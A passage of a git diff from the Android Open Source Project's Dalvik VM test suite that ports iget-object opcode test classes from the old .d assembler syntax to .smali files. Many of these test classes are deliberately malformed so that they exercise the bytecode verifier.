+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_19.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_19;
+.super  Ljava/lang/Object;
+
+.field public  i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-object v0, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_19;->i1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_20.d
deleted file mode 100644
index 71751fb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_20.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_20
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-object v0, v2, dot.junit.opcodes.iget_object.d.T_iget_object_20.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_20.smali
new file mode 100644
index 0000000..bc1bd1b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_20.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_20;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-object v0, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_20;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_21.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_21.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_21.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_21.smali
new file mode 100644
index 0000000..60d74a3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_21.smali
@@ -0,0 +1,47 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_object/d/T_iget_object_21;
+.super Ljava/lang/Object;
+.source "T_iget_object_21.java"
+
+
+# instance fields
+.field public i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    new-instance v0, Ljava/lang/Object;
+
+    invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+
+    iput-object v0, p0, Ldot/junit/opcodes/iget_object/d/T_iget_object_21;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/String;
+    .registers 3
+
+    iget-object v1, p0, Ldot/junit/opcodes/iget_object/d/T_iget_object_21;->i1:Ljava/lang/String;
+
+    return-object v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_22.d
deleted file mode 100644
index 38872fd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_22.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_22.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_22
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iget_object/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget_object/TestStubs/<init>()V
-
-       iget-object v1, v0, dot.junit.opcodes.iget_object.TestStubs.TestStubProtectedField Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_22.smali
new file mode 100644
index 0000000..7b6e370
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_22.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_22.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_22;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_object/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_object/TestStubs;-><init>()V
+
+       iget-object v1, v0, Ldot/junit/opcodes/iget_object/TestStubs;->TestStubProtectedField:Ljava/lang/Object;
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_3.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_3.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_3.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_3.smali
new file mode 100644
index 0000000..a103716
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_3.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_object/d/T_iget_object_3;
+.super Ljava/lang/Object;
+.source "T_iget_object_3.java"
+
+
+# instance fields
+.field public i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iget-object p1, p0, Ldot/junit/opcodes/iget_object/d/T_iget_object_3;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_30.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_30.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_30.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_30.smali
new file mode 100644
index 0000000..87f9721
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_30.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_object/d/T_iget_object_30;
+.super Ljava/lang/Object;
+.source "T_iget_object_30.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    new-instance v0, Ldot/junit/opcodes/iget_object/d/T_iget_object_30;
+
+    iget-object v1, v0, Ldot/junit/opcodes/iget_object/d/T_iget_object_30;->st_i1:Ljava/lang/Object;
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_31.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_31.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_31.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_31.smali
new file mode 100644
index 0000000..133a925
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_31.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_object/d/T_iget_object_31;
+.super Ljava/lang/Object;
+.source "T_iget_object_31.java"
+
+
+# instance fields
+.field public st_i1:Ldot/junit/opcodes/iget_object/d/T_iget_object_31;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ldot/junit/opcodes/iget_object/d/T_iget_object_31;
+    .registers 3
+
+    iget v0, v0, Ldot/junit/opcodes/iget_object/d/T_iget_object_31;->st_i1:Ldot/junit/opcodes/iget_object/d/T_iget_object_31;
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_35.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_35.d
deleted file mode 100644
index a4fc423..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_35.d
+++ /dev/null
@@ -1,31 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_35.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_35
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 2
-       iget-object v0, v1, dot.junit.opcodes.iget_object.TestStubs.TestStubProtectedField Ljava/lang/Object;
-       return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_35.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_35.smali
new file mode 100644
index 0000000..433800c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_35.smali
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_35.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_35;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 2
+       iget-object v0, v1, Ldot/junit/opcodes/iget_object/TestStubs;->TestStubProtectedField:Ljava/lang/Object;
+       return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_4.smali
new file mode 100644
index 0000000..8f5fcd3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_4.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_object/d/T_iget_object_4;
+.super Ljava/lang/Object;
+.source "T_iget_object_4.java"
+
+
+# instance fields
+.field public i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/Object;
+    .registers 3
+
+    iget-object v1, p0, Ldot/junit/opcodes/iget_object/d/T_iget_object_4;->i1:Ljava/lang/Object;
+
+    return-object v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_5.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_5.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_5.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_5.smali
new file mode 100644
index 0000000..7128a4b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_5.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_object/d/T_iget_object_5;
+.super Ljava/lang/Object;
+.source "T_iget_object_5.java"
+
+
+# static fields
+.field public static i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 4
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/Object;
+    .registers 3
+
+    iget-object v1, p0, Ldot/junit/opcodes/iget_object/d/T_iget_object_5;->i1:Ljava/lang/Object;
+
+    return-object v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_6.d
deleted file mode 100644
index ccf829d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_6.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iget_object/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget_object/TestStubs/<init>()V
-
-       iget-object v1, v0, dot.junit.opcodes.iget_object.TestStubs.TestStubField Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_6.smali
new file mode 100644
index 0000000..8bbc406
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_6.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_object/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_object/TestStubs;-><init>()V
+
+       iget-object v1, v0, Ldot/junit/opcodes/iget_object/TestStubs;->TestStubField:Ljava/lang/Object;
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_7.d
deleted file mode 100644
index db5f6f0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_7.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       iget-object v1, v2, dot.junit.opcodes.iget_object.d.T_iget_object_7no_class.i1 Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_7.smali
new file mode 100644
index 0000000..256cb08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_7.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       iget-object v1, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_7no_class;->i1:Ljava/lang/Object;
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_8.d
deleted file mode 100644
index 67f7b82..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_object_8.java
-.class public dot.junit.opcodes.iget_object.d.T_iget_object_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       iget-object v1, v2, dot.junit.opcodes.iget_object.d.T_iget_object_8.i1N Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_8.smali
new file mode 100644
index 0000000..64c9137
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_object_8.java"
+.class  public Ldot/junit/opcodes/iget_object/d/T_iget_object_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       iget-object v1, v2, Ldot/junit/opcodes/iget_object/d/T_iget_object_8;->i1N:Ljava/lang/Object;
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_9.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_9.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_9.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_9.smali
new file mode 100644
index 0000000..8a0a6d5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_object/d/T_iget_object_9.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_object/d/T_iget_object_9;
+.super Ljava/lang/Object;
+.source "T_iget_object_9.java"
+
+
+# instance fields
+.field public i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/Object;
+    .registers 3
+
+    const v0, 0x0
+
+    iget-object v1, v0, Ldot/junit/opcodes/iget_object/d/T_iget_object_9;->i1:Ljava/lang/Object;
+
+    return-object v1
+.end method
